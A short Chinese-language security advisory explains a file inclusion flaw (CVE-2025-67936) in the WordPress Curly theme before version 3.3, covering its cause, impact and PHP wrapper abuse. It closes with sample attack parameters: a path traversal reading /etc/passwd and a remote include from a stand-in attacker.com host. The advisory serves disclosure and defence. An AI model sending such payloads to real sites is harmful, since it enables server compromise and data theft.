CVE-2025-67936CVE-2025-67936是WordPress Curly主题中的一个高危安全漏洞,CVSS评分达到8.1分。该漏洞属于PHP远程文件包含(RFI)和本地文件包含(LFI)类别,存在于Curly主题的PHP文件包含机制中。由于应用程序对文件名参数缺乏充分的验证和过滤,攻击者可以通过构造恶意请求,诱使服务器包含并执行任意PHP文件。此漏洞影响Curly主题3.3之前的所有版本,攻击者无需认证即可利用此漏洞,可能导致敏感信息泄露、服务器完全沦陷甚至远程代码执行。由于该漏洞利用难度较低且影响范围广泛,建议受影响的用户立即采取防护措施。
该漏洞的根本原因在于Curly主题的PHP代码中对include/require语句中使用的文件名参数没有进行充分的输入验证。攻击者可以通过HTTP请求参数控制文件包含的路径,绕过应用程序的安全限制。在PHP中,文件包含函数(如include、require、include_once、require_once)会执行指定文件中的代码。如果攻击者能够控制被包含的文件路径,就可能导致以下后果:1) 本地文件包含(LFI):读取服务器上的敏感文件,如/etc/passwd、配置文件等;2) 远程文件包含(RFI):从远程服务器包含并执行恶意PHP代码;3) 利用PHP包装器(如php://filter、phar://、zip://等)读取文件内容或触发代码执行。典型的攻击场景是构造类似?file=../../../../../../etc/passwd或?file=http://attacker.com/malicious.php的请求参数。